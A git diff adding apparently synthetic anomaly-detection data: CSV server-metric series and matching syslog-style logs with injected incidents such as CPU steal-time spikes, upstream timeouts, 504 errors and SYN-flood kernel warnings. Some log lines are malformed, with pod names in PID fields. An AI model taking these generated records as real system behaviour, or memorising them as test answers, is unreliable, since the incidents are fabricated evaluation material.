10:02:10+00:00,23.91,0.18,44.46,28.25,0.7,0.95 +2025-07-02 10:02:15+00:00,17.28,0.19,35.15,27.59,1.48,0.72 +2025-07-02 10:02:20+00:00,23.05,0.14,37.29,26.81,1.27,0.73 +2025-07-02 10:02:25+00:00,24.18,0.37,42.84,27.52,0.77,1.26 +2025-07-02 10:02:30+00:00,29.24,32.7,36.56,24.97,0.96,0.77 +2025-07-02 10:02:35+00:00,29.14,20.32,36.78,28.06,0.51,0.73 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10:04:00+00:00,26.97,31.31,42.71,24.81,0.98,0.76 +2025-07-02 10:04:05+00:00,22.44,32.48,36.37,24.81,0.54,1.31 +2025-07-02 10:04:10+00:00,29.22,21.04,35.83,27.03,1.08,0.71 +2025-07-02 10:04:15+00:00,25.77,34.78,41.05,23.9,0.51,0.82 +2025-07-02 10:04:20+00:00,23.63,31.77,44.08,24.95,0.52,0.57 +2025-07-02 10:04:25+00:00,29.83,24.78,44.77,29.85,1.18,1.07 +2025-07-02 10:04:30+00:00,21.71,30.89,36.51,22.66,0.64,1.48 +2025-07-02 10:04:35+00:00,29.46,27.01,42.82,27.25,0.72,1.16 +2025-07-02 10:04:40+00:00,26.85,24.56,39.61,22.47,0.88,1.0 +2025-07-02 10:04:45+00:00,21.14,39.6,42.52,29.27,0.86,0.61 +2025-07-02 10:04:50+00:00,29.97,24.63,42.49,22.91,1.4,1.39 +2025-07-02 10:04:55+00:00,20.22,39.24,35.37,27.69,0.55,1.29 +2025-07-02 10:05:00+00:00,24.63,24.46,42.2,21.74,1.12,1.45 +2025-07-02 10:05:05+00:00,18.78,0.39,35.92,21.68,1.06,0.82 +2025-07-02 10:05:10+00:00,16.44,0.2,35.51,27.61,1.29,0.63 +2025-07-02 10:05:15+00:00,17.87,0.13,39.94,26.95,1.35,0.93 +2025-07-02 10:05:20+00:00,24.91,0.32,43.31,28.07,0.68,0.54 +2025-07-02 10:05:25+00:00,16.36,0.36,42.02,27.53,1.47,1.35 +2025-07-02 10:05:30+00:00,17.37,0.39,37.73,24.7,0.62,1.04 +2025-07-02 10:05:35+00:00,18.33,0.4,37.5,27.85,0.54,0.97 +2025-07-02 10:05:40+00:00,24.22,0.31,40.54,29.33,1.31,0.84 +2025-07-02 10:05:45+00:00,23.06,0.23,37.06,27.48,0.77,0.55 +2025-07-02 10:05:50+00:00,23.01,0.38,41.45,23.06,0.68,0.79 +2025-07-02 10:05:55+00:00,17.01,0.3,36.53,26.65,1.28,0.7 +2025-07-02 10:06:00+00:00,17.07,0.42,36.88,20.07,1.41,0.64 +2025-07-02 10:06:05+00:00,20.29,0.24,43.9,27.58,0.93,0.81 +2025-07-02 10:06:10+00:00,17.11,0.37,35.18,27.43,1.48,0.99 +2025-07-02 10:06:15+00:00,17.8,0.12,39.61,22.54,0.66,1.09 +2025-07-02 10:06:20+00:00,24.27,0.29,39.91,21.18,1.33,1.35 +2025-07-02 10:06:25+00:00,16.37,0.1,36.26,27.68,0.84,0.59 +2025-07-02 10:06:30+00:00,24.62,0.48,43.31,21.37,0.81,0.65 +2025-07-02 10:06:35+00:00,22.16,0.42,37.55,27.04,1.12,1.04 +2025-07-02 10:06:40+00:00,21.52,0.28,38.21,20.57,0.66,0.82 +2025-07-02 10:06:45+00:00,24.93,0.46,43.59,26.46,1.04,1.21 +2025-07-02 10:06:50+00:00,23.69,0.24,39.68,21.34,1.26,1.45 +2025-07-02 10:06:55+00:00,23.28,0.43,35.52,23.48,1.33,1.37 +2025-07-02 10:07:00+00:00,19.01,0.2,35.14,24.33,0.75,1.13 +2025-07-02 10:07:05+00:00,20.7,0.44,37.08,29.25,1.06,1.15 +2025-07-02 10:07:10+00:00,15.53,0.44,40.41,25.76,1.24,1.07 +2025-07-02 10:07:15+00:00,16.22,0.37,41.71,25.85,0.55,0.65 +2025-07-02 10:07:20+00:00,15.83,0.44,44.78,28.41,1.36,0.55 +2025-07-02 10:07:25+00:00,23.91,0.27,37.28,25.94,0.59,0.71 diff --git a/anom_dataset/scenario_5/anom_5_30.log b/anom_dataset/scenario_5/anom_5_30.log new file mode 100644 index 0000000000000000000000000000000000000000..44ef31d4b5f38ba5fdd9997043d4f428fbb0bf10 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_30.log @@ -0,0 +1,90 @@ +Jul 02 10:00:00 kubelet[10005]: INFO routine sync completed for pod web-app +Jul 02 10:00:05 kubelet[10021]: INFO Successfully probed container metrics-collector +Jul 02 10:00:10 cron[10044]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:00:15 kubelet[10060]: INFO Successfully probed container metrics-collector +Jul 02 10:00:20 cron[10074]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:00:25 sshd[10090]: Accepted publickey for ubuntu from 192.168.1.101 port 56297 ssh2 +Jul 02 10:00:30 sshd[10109]: Accepted publickey for ubuntu from 192.168.1.101 port 55337 ssh2 +Jul 02 10:00:35 systemd[1]: Started Session 1 of user ubuntu. +Jul 02 10:00:40 systemd[1]: Started Session 2 of user ubuntu. +Jul 02 10:00:45 sshd[10134]: Accepted publickey for ubuntu from 192.168.1.101 port 59774 ssh2 +Jul 02 10:00:50 nginx[10149]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:00:55 systemd[1]: Started Session 3 of user ubuntu. +Jul 02 10:01:00 nginx[10169]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:01:05 cron[10191]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:01:10 systemd[1]: Started Session 4 of user ubuntu. +Jul 02 10:01:15 sshd[10230]: Accepted publickey for ubuntu from 192.168.1.101 port 55126 ssh2 +Jul 02 10:01:20 kubelet[10242]: INFO routine sync completed for pod web-app +Jul 02 10:01:25 systemd[1]: Started Session 5 of user ubuntu. +Jul 02 10:01:30 kubelet[10252]: INFO Successfully probed container metrics-collector +Jul 02 10:01:35 systemd[1]: Started Session 6 of user ubuntu. +Jul 02 10:01:40 kubelet[10287]: INFO Successfully probed container metrics-collector +Jul 02 10:01:45 systemd[1]: Started Session 7 of user ubuntu. +Jul 02 10:01:50 cron[10316]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:01:55 kubelet[10321]: INFO Successfully probed container metrics-collector +Jul 02 10:02:00 kubelet[10330]: INFO Successfully probed container metrics-collector +Jul 02 10:02:05 sshd[10336]: Accepted publickey for ubuntu from 192.168.1.101 port 54568 ssh2 +Jul 02 10:02:10 systemd[1]: Started Session 8 of user ubuntu. +Jul 02 10:02:15 sshd[10352]: Accepted publickey for ubuntu from 192.168.1.101 port 57551 ssh2 +Jul 02 10:02:20 kubelet[10359]: INFO routine sync completed for pod web-app +Jul 02 10:02:25 sshd[10373]: Accepted publickey for ubuntu from 192.168.1.101 port 50285 ssh2 +Jul 02 10:02:30 systemd[1]: Started Session 9 of user ubuntu. +Jul 02 10:02:35 app-server[10394]: WARN request processing time of 2919ms exceeded threshold of 500ms for path /api/data +Jul 02 10:02:40 systemd[1]: Started Session 10 of user ubuntu. +Jul 02 10:02:45 app-server[10432]: WARN API request to downstream service timed out after 3000ms +Jul 02 10:02:50 kubelet[10434]: INFO routine sync completed for pod web-app +Jul 02 10:02:55 gunicorn[10443]: [CRITICAL] WORKER TIMEOUT (pid:10447) +Jul 02 10:03:00 app-server[10460]: WARN API request to downstream service timed out after 3000ms +Jul 02 10:03:05 systemd[1]: Started Session 11 of user ubuntu. +Jul 02 10:03:10 app-server[10496]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 10:03:15 systemd[1]: Started Session 12 of user ubuntu. +Jul 02 10:03:20 app-server[10524]: WARN request processing time of 1619ms exceeded threshold of 500ms for path /api/data +Jul 02 10:03:25 gunicorn[10534]: [CRITICAL] WORKER TIMEOUT (pid:10536) +Jul 02 10:03:30 app-server[10539]: WARN request processing time of 1131ms exceeded threshold of 500ms for path /api/data +Jul 02 10:03:35 kubelet[10560]: INFO Successfully probed container metrics-collector +Jul 02 10:03:40 app-server[10583]: WARN API request to downstream service timed out after 3000ms +Jul 02 10:03:45 nginx[10607]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:03:50 kubelet[10620]: INFO Successfully probed container metrics-collector +Jul 02 10:03:55 kubelet[10631]: INFO routine sync completed for pod web-app +Jul 02 10:04:00 app-server[10650]: WARN request processing time of 2336ms exceeded threshold of 500ms for path /api/data +Jul 02 10:04:05 systemd[1]: Started Session 13 of user ubuntu. +Jul 02 10:04:10 systemd[1]: Started Session 14 of user ubuntu. +Jul 02 10:04:15 gunicorn[10686]: [CRITICAL] WORKER TIMEOUT (pid:10687) +Jul 02 10:04:20 nginx[10707]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:04:25 app-server[10722]: WARN API request to downstream service timed out after 3000ms +Jul 02 10:04:30 app-server[10724]: WARN request processing time of 2031ms exceeded threshold of 500ms for path /api/data +Jul 02 10:04:35 kubelet[10735]: INFO Successfully probed container metrics-collector +Jul 02 10:04:40 kubelet[10751]: INFO routine sync completed for pod web-app +Jul 02 10:04:45 cron[10765]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:04:50 gunicorn[10781]: [CRITICAL] WORKER TIMEOUT (pid:10783) +Jul 02 10:04:55 app-server[10793]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 10:05:00 app-server[10816]: WARN API request to downstream service timed out after 3000ms +Jul 02 10:05:05 sshd[10823]: Accepted publickey for ubuntu from 192.168.1.101 port 51536 ssh2 +Jul 02 10:05:10 kubelet[10833]: INFO Successfully probed container metrics-collector +Jul 02 10:05:15 kubelet[10850]: INFO routine sync completed for pod web-app +Jul 02 10:05:20 cron[10873]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:05:25 sshd[10896]: Accepted publickey for ubuntu from 192.168.1.101 port 52961 ssh2 +Jul 02 10:05:30 kubelet[10914]: INFO routine sync completed for pod web-app +Jul 02 10:05:35 sshd[10935]: Accepted publickey for ubuntu from 192.168.1.101 port 59537 ssh2 +Jul 02 10:05:40 kubelet[10955]: INFO Successfully probed container metrics-collector +Jul 02 10:05:45 systemd[1]: Started Session 15 of user ubuntu. +Jul 02 10:05:50 kubelet[10968]: INFO Successfully probed container metrics-collector +Jul 02 10:05:55 sshd[10970]: Accepted publickey for ubuntu from 192.168.1.101 port 55512 ssh2 +Jul 02 10:06:00 kubelet[10974]: INFO Successfully probed container metrics-collector +Jul 02 10:06:05 cron[10988]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:06:10 kubelet[10995]: INFO Successfully probed container metrics-collector +Jul 02 10:06:15 systemd[1]: Started Session 16 of user ubuntu. +Jul 02 10:06:20 systemd[1]: Started Session 17 of user ubuntu. +Jul 02 10:06:25 kubelet[11036]: INFO Successfully probed container metrics-collector +Jul 02 10:06:30 kubelet[11059]: INFO Successfully probed container metrics-collector +Jul 02 10:06:35 cron[11079]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:06:40 systemd[1]: Started Session 18 of user ubuntu. +Jul 02 10:06:45 sshd[11112]: Accepted publickey for ubuntu from 192.168.1.101 port 52910 ssh2 +Jul 02 10:06:50 systemd[1]: Started Session 19 of user ubuntu. +Jul 02 10:06:55 kubelet[11144]: INFO routine sync completed for pod web-app +Jul 02 10:07:00 kubelet[11166]: INFO routine sync completed for pod web-app +Jul 02 10:07:05 kubelet[11170]: INFO Successfully probed container metrics-collector +Jul 02 10:07:10 kubelet[11184]: INFO Successfully probed container metrics-collector +Jul 02 10:07:15 nginx[11200]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:07:20 sshd[11219]: Accepted publickey for ubuntu from 192.168.1.101 port 59244 ssh2 +Jul 02 10:07:25 nginx[11222]: GET /api/status HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_5/anom_5_4.csv b/anom_dataset/scenario_5/anom_5_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..3f8f09364edcbe49fcbbad3d87e356a8287de43b --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cpu_steal_time +2025-07-02T14:00:00Z,30.19,57.37,23.98,1.51,2.12,0.18 +2025-07-02T14:00:05Z,27.78,46.35,23.71,0.82,0.81,0.77 +2025-07-02T14:00:10Z,21.27,51.47,26.18,1.84,1.94,0.3 +2025-07-02T14:00:15Z,26.25,46.22,32.46,1.42,2.35,1.06 +2025-07-02T14:00:20Z,34.93,44.52,26.88,1.72,2.39,0.04 +2025-07-02T14:00:25Z,44.06,44.47,38.38,1.09,0.88,0.91 +2025-07-02T14:00:30Z,31.21,40.58,34.04,1.23,2.06,0.37 +2025-07-02T14:00:35Z,31.63,43.64,35.81,1.07,2.22,0.92 +2025-07-02T14:00:40Z,30.93,54.19,35.81,1.41,2.14,1.27 +2025-07-02T14:00:45Z,39.76,56.28,37.24,1.74,1.11,1.0 +2025-07-02T14:00:50Z,31.67,50.0,19.18,1.4,2.05,0.79 +2025-07-02T14:00:55Z,20.38,57.27,37.27,1.23,1.49,0.26 +2025-07-02T14:01:00Z,33.05,57.59,19.99,1.16,1.15,0.31 +2025-07-02T14:01:05Z,44.61,52.54,23.2,0.7,1.14,1.38 +2025-07-02T14:01:10Z,39.01,40.68,22.66,1.27,1.19,1.18 +2025-07-02T14:01:15Z,36.54,52.04,26.88,0.59,2.39,0.17 +2025-07-02T14:01:20Z,24.25,45.68,22.67,1.28,1.94,1.1 +2025-07-02T14:01:25Z,36.25,43.83,33.99,0.71,2.42,0.62 +2025-07-02T14:01:30Z,33.18,59.37,36.53,1.33,1.52,0.26 +2025-07-02T14:01:35Z,20.01,42.46,23.24,1.57,0.83,0.79 +2025-07-02T14:01:40Z,20.91,54.28,37.99,1.95,1.49,1.44 +2025-07-02T14:01:45Z,28.87,47.16,37.58,1.63,1.89,0.15 +2025-07-02T14:01:50Z,32.88,53.03,34.59,1.86,0.94,1.36 +2025-07-02T14:01:55Z,26.24,48.5,38.69,0.93,2.15,0.7 +2025-07-02T14:02:00Z,43.54,47.87,31.42,1.55,1.2,0.07 +2025-07-02T14:02:05Z,34.88,49.97,27.25,1.76,1.11,1.28 +2025-07-02T14:02:10Z,21.88,57.11,31.32,1.75,1.49,1.48 +2025-07-02T14:02:15Z,21.51,44.57,22.35,1.97,1.99,1.1 +2025-07-02T14:02:20Z,33.4,48.46,30.24,1.15,1.98,0.38 +2025-07-02T14:02:25Z,22.24,44.31,30.15,0.59,1.75,0.58 +2025-07-02T14:02:30Z,36.46,54.05,15.0,1.89,1.44,0.34 +2025-07-02T14:02:35Z,43.32,45.26,37.56,1.89,1.65,24.18 +2025-07-02T14:02:40Z,23.8,52.61,25.97,1.21,1.45,28.82 +2025-07-02T14:02:45Z,31.07,49.44,20.75,0.78,2.04,32.99 +2025-07-02T14:02:50Z,35.37,58.33,28.24,1.92,1.36,32.76 +2025-07-02T14:02:55Z,36.53,57.07,33.83,1.44,1.54,30.69 +2025-07-02T14:03:00Z,41.41,48.02,37.76,1.43,1.45,26.56 +2025-07-02T14:03:05Z,41.0,53.91,30.56,0.93,2.27,25.62 +2025-07-02T14:03:10Z,31.37,40.89,33.44,1.03,0.91,19.84 +2025-07-02T14:03:15Z,42.79,46.48,32.16,1.39,1.9,21.33 +2025-07-02T14:03:20Z,37.39,56.45,22.99,1.2,1.59,25.51 +2025-07-02T14:03:25Z,22.61,57.63,20.31,0.82,0.85,27.0 +2025-07-02T14:03:30Z,44.45,48.44,19.5,0.95,1.37,21.75 +2025-07-02T14:03:35Z,23.16,50.42,36.62,1.73,1.39,29.16 +2025-07-02T14:03:40Z,31.05,48.52,19.31,1.24,1.54,28.53 +2025-07-02T14:03:45Z,30.62,51.27,26.19,1.81,2.47,31.74 +2025-07-02T14:03:50Z,30.06,47.53,23.23,0.76,2.3,30.56 +2025-07-02T14:03:55Z,37.96,51.17,27.92,0.92,0.91,35.99 +2025-07-02T14:04:00Z,33.94,53.83,20.47,0.66,1.41,24.0 +2025-07-02T14:04:05Z,23.79,56.97,22.35,1.63,1.65,27.9 +2025-07-02T14:04:10Z,38.18,41.64,36.64,1.53,1.21,20.44 +2025-07-02T14:04:15Z,40.05,50.17,33.84,1.3,1.07,25.05 +2025-07-02T14:04:20Z,29.9,58.24,28.0,0.59,1.35,21.36 +2025-07-02T14:04:25Z,25.34,56.07,17.99,1.24,0.83,24.85 +2025-07-02T14:04:30Z,26.0,48.5,37.98,1.57,1.17,26.39 +2025-07-02T14:04:35Z,28.77,42.08,35.4,1.19,1.48,30.9 +2025-07-02T14:04:40Z,32.2,50.76,35.93,1.39,2.1,26.28 +2025-07-02T14:04:45Z,21.08,41.77,25.8,0.64,1.3,32.29 +2025-07-02T14:04:50Z,37.69,46.79,15.96,0.76,2.03,28.67 +2025-07-02T14:04:55Z,21.0,49.29,28.49,1.34,2.22,27.9 +2025-07-02T14:05:00Z,37.12,55.1,36.7,1.44,1.7,27.33 +2025-07-02T14:05:05Z,44.24,49.15,25.36,1.53,1.06,23.26 +2025-07-02T14:05:10Z,32.78,47.05,20.11,1.69,2.43,20.21 +2025-07-02T14:05:15Z,31.85,50.26,29.96,0.55,1.01,1.04 +2025-07-02T14:05:20Z,23.26,43.32,20.87,1.13,0.98,0.98 +2025-07-02T14:05:25Z,38.96,47.26,31.9,1.18,1.93,1.18 +2025-07-02T14:05:30Z,28.51,57.3,33.67,1.73,2.14,0.9 +2025-07-02T14:05:35Z,32.04,42.63,24.83,0.85,0.89,1.32 +2025-07-02T14:05:40Z,32.84,47.77,32.33,1.71,1.94,0.4 +2025-07-02T14:05:45Z,28.44,56.97,33.95,1.6,2.47,0.48 +2025-07-02T14:05:50Z,32.86,58.36,17.06,1.44,2.43,0.28 +2025-07-02T14:05:55Z,42.97,49.64,27.18,0.52,1.59,1.01 +2025-07-02T14:06:00Z,27.34,58.87,38.47,1.29,1.28,0.39 +2025-07-02T14:06:05Z,26.97,44.68,31.67,1.43,1.39,0.9 +2025-07-02T14:06:10Z,44.02,59.88,27.29,1.09,2.31,0.19 +2025-07-02T14:06:15Z,24.1,47.69,15.18,1.19,1.59,0.13 +2025-07-02T14:06:20Z,28.11,59.44,23.2,1.38,2.25,1.22 +2025-07-02T14:06:25Z,43.28,40.7,30.4,1.42,1.45,1.16 +2025-07-02T14:06:30Z,38.45,48.49,15.43,1.24,2.26,1.41 +2025-07-02T14:06:35Z,33.78,50.31,37.98,1.34,2.41,0.37 +2025-07-02T14:06:40Z,30.82,40.59,23.22,1.33,2.04,0.54 +2025-07-02T14:06:45Z,34.22,59.49,29.06,1.76,1.38,1.37 +2025-07-02T14:06:50Z,33.98,55.4,20.42,1.97,2.39,0.16 +2025-07-02T14:06:55Z,21.1,53.78,25.41,1.35,1.14,1.1 +2025-07-02T14:07:00Z,28.37,54.1,28.77,1.35,1.5,0.37 +2025-07-02T14:07:05Z,31.76,54.44,16.48,1.42,1.55,0.11 +2025-07-02T14:07:10Z,22.13,42.2,22.66,1.23,2.11,0.51 +2025-07-02T14:07:15Z,30.07,51.51,34.42,1.55,1.44,0.91 +2025-07-02T14:07:20Z,31.33,54.22,39.78,1.03,2.27,0.2 +2025-07-02T14:07:25Z,31.06,46.22,20.92,0.96,1.1,0.24 diff --git a/anom_dataset/scenario_5/anom_5_4.log b/anom_dataset/scenario_5/anom_5_4.log new file mode 100644 index 0000000000000000000000000000000000000000..b5a4bec370c17050ee6ccff9cb03c45dd9151a82 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_4.log @@ -0,0 +1,11 @@ +CRON[web-app-v2]: (root) CMD ( /usr/local/bin/backup.sh) +CRON[web-app-v3]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 14:03:25 nginx[1150]: GET /api/v2/products HTTP/1.1 504 Gateway Time-out +Jul 02 14:03:50 kernel: [1430.000000]: TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 02 14:04:15 web-app[4512]: ERROR upstream request timeout to payment-service:1345 after 3 retries +Jul 02 14:04:30 kernel: [1470.000000]: TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 02 14:04:45 web-app[4512]: ERROR upstream request timeout to auth-service:8080 after 3 retries +Jul 02 14:05:50 systemd[1]: Starting Daily apt upgrade and clean activities... +kubelet[3102]: INFO routine sync completed for pod web-app-v1 +sshd[web-app-v1]: session opened for user root by (uid=0) +sshd[web-app-v3]: session opened for user root by (uid=0) \ No newline at end of file diff --git a/anom_dataset/scenario_5/anom_5_5.csv b/anom_dataset/scenario_5/anom_5_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..109e8edc9192654958aa7c1c17a0837e6c578da0 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal_time,mem_usage,disk_io,net_in,net_out +2025-08-23T16:00:00Z,17.26,0.63,41.45,25.46,1.39,1.54 +2025-08-23T16:00:05Z,24.67,0.83,43.13,17.15,0.74,1.85 +2025-08-23T16:00:10Z,21.95,0.12,44.16,18.55,0.57,1.95 +2025-08-23T16:00:15Z,23.35,1.32,38.43,28.64,0.59,1.28 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b/anom_dataset/scenario_5/anom_5_5.log @@ -0,0 +1,14 @@ +Aug 23 16:00:02 systemd[1]: Started Session 5 of user dev. +Aug 23 16:00:12 cron[3102]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 16:00:45 kubelet[1254]: INFO Liveness probe for pod 'api-gateway-7bdf' succeeded. +Aug 23 16:01:35 nginx[2311]: GET /healthz HTTP/1.1 200 OK +Aug 23 16:02:39 api-gateway[3341]: INFO transaction processing took longer than expected: 3.5s +Aug 23 16:02:57 user-service[4109]: ERROR upstream request to service 'auth-service' failed: connection timed out +Aug 23 16:03:09 api-gateway[3341]: WARN request queue is full, dropping new requests +Aug 23 16:03:24 payment-service[5055]: ERROR database query timed out after 5000ms +Aug 23 16:04:07 api-gateway[3341]: WARN request queue is full, dropping new requests +Aug 23 16:04:24 user-service[4109]: INFO transaction processing took longer than expected: 3.5s +Aug 23 16:04:56 user-service[4109]: ERROR database query timed out after 5000ms +Aug 23 16:05:19 api-gateway[3341]: WARN high latency detected for endpoint /api/v1/user/profile +Aug 23 16:06:10 kubelet[1254]: INFO Pod 'api-gateway-7bdf' successfully restarted. +Aug 23 16:06:45 systemd[1]: session-5.scope: Succeeded. diff --git a/anom_dataset/scenario_5/anom_5_6.csv b/anom_dataset/scenario_5/anom_5_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..ce848c7befc1e30d64f83ef4e0ec50b76f1b85da --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,24.1,0.0,44.74,36.4,1.45,1.63 +2025-07-15T14:30:05Z,18.6,0.0,36.55,17.25,1.41,0.91 +2025-07-15T14:30:10Z,20.64,0.0,45.75,24.97,1.05,1.66 +2025-07-15T14:30:15Z,20.31,0.0,46.08,23.01,1.17,1.76 +2025-07-15T14:30:20Z,22.84,0.0,47.29,15.16,0.71,1.5 +2025-07-15T14:30:25Z,21.59,0.0,42.04,19.24,0.53,1.93 +2025-07-15T14:30:30Z,26.09,0.0,51.55,20.94,1.31,1.67 +2025-07-15T14:30:35Z,20.54,0.0,47.34,23.05,0.67,1.91 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+2025-07-15T14:36:40Z,21.57,0.0,39.58,35.6,0.53,1.42 +2025-07-15T14:36:45Z,16.61,0.0,52.82,28.16,1.43,1.71 +2025-07-15T14:36:50Z,21.46,0.0,47.47,27.71,0.57,1.47 +2025-07-15T14:36:55Z,21.56,0.0,49.28,26.83,1.19,1.17 +2025-07-15T14:37:00Z,25.91,0.0,43.86,14.72,0.56,1.83 +2025-07-15T14:37:05Z,18.77,0.0,46.46,24.24,0.54,1.31 +2025-07-15T14:37:10Z,26.98,0.0,43.87,17.02,0.99,1.85 +2025-07-15T14:37:15Z,20.53,0.0,44.65,27.87,1.32,0.98 +2025-07-15T14:37:20Z,19.67,0.0,41.29,22.93,0.63,1.34 +2025-07-15T14:37:25Z,19.75,0.0,49.65,23.99,1.43,1.41 diff --git a/anom_dataset/scenario_5/anom_5_6.log b/anom_dataset/scenario_5/anom_5_6.log new file mode 100644 index 0000000000000000000000000000000000000000..0fc13645eaf77522d72700956718ab6b4b6ce2cf --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_6.log @@ -0,0 +1,69 @@ +Jul 15 14:30:00 nginx[3102]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:30:05 nginx[3102]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:30:15 app-server[1128]: INFO: Request processed successfully in 101ms. status=200 +Jul 15 14:30:25 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:30:30 database-connector[2533]: INFO: DB connection pool size: 10 active, 5 idle. +Jul 15 14:30:35 nginx[3102]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:30:45 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:30:50 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:30:55 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:31:00 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:31:05 systemd[1]: Started Session 132 of user webadmin. +Jul 15 14:31:10 systemd[1]: Started Session 197 of user webadmin. +Jul 15 14:31:15 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:31:20 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:31:45 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:31:50 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:31:55 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:32:00 nginx[3102]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:32:05 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:32:10 database-connector[2533]: INFO: DB connection pool size: 10 active, 5 idle. +Jul 15 14:32:15 database-connector[2533]: INFO: DB connection pool size: 10 active, 5 idle. +Jul 15 14:32:30 systemd[1]: Started Session 135 of user webadmin. +Jul 15 14:32:35 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:32:40 systemd[1]: Started Session 175 of user webadmin. +Jul 15 14:32:50 nginx[3102]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:33:00 database-connector[2533]: INFO: DB connection pool size: 10 active, 5 idle. +Jul 15 14:33:05 cron[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:33:15 nginx[3102]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:33:20 app-server[1128]: WARN: Application performance degraded. Average response time jumped to 4197ms. +Jul 15 14:33:25 app-server[1128]: ERROR: High latency detected for downstream service 'user-auth'. Response time: 4268ms. +Jul 15 14:33:30 app-server[1128]: WARN: Request to /api/v1/data timed out after 3000ms. +Jul 15 14:33:35 app-server[1128]: WARN: Application performance degraded. Average response time jumped to 4213ms. +Jul 15 14:33:40 app-server[1128]: WARN: Request to /api/v1/data timed out after 3000ms. +Jul 15 14:33:45 database-connector[2533]: ERROR: Query timed out waiting for connection from pool. +Jul 15 14:33:50 nginx[3102]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 15 14:33:55 nginx[3102]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 15 14:34:00 app-server[1128]: WARN: Application performance degraded. Average response time jumped to 3986ms. +Jul 15 14:34:05 app-server[1128]: ERROR: High latency detected for downstream service 'user-auth'. Response time: 4413ms. +Jul 15 14:34:10 nginx[3102]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 15 14:34:15 nginx[3102]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 15 14:34:20 nginx[3102]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Jul 15 14:34:25 app-server[1128]: WARN: Request to /api/v1/data timed out after 3000ms. +Jul 15 14:34:30 database-connector[2533]: ERROR: Query timed out waiting for connection from pool. +Jul 15 14:34:35 app-server[1128]: ERROR: High latency detected for downstream service 'user-auth'. Response time: 3718ms. +Jul 15 14:34:40 app-server[1128]: WARN: Application performance degraded. Average response time jumped to 3123ms. +Jul 15 14:34:45 app-server[1128]: WARN: Application performance degraded. Average response time jumped to 3175ms. +Jul 15 14:34:50 app-server[1128]: WARN: Request to /api/v1/data timed out after 3000ms. +Jul 15 14:34:55 app-server[1128]: WARN: Application performance degraded. Average response time jumped to 4221ms. +Jul 15 14:35:00 app-server[1128]: INFO: Request processed successfully in 154ms. status=200 +Jul 15 14:35:05 app-server[1128]: INFO: Request processed successfully in 167ms. status=200 +Jul 15 14:35:15 app-server[1128]: INFO: Request processed successfully in 125ms. status=200 +Jul 15 14:35:20 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:35:25 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 14:35:30 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 80. 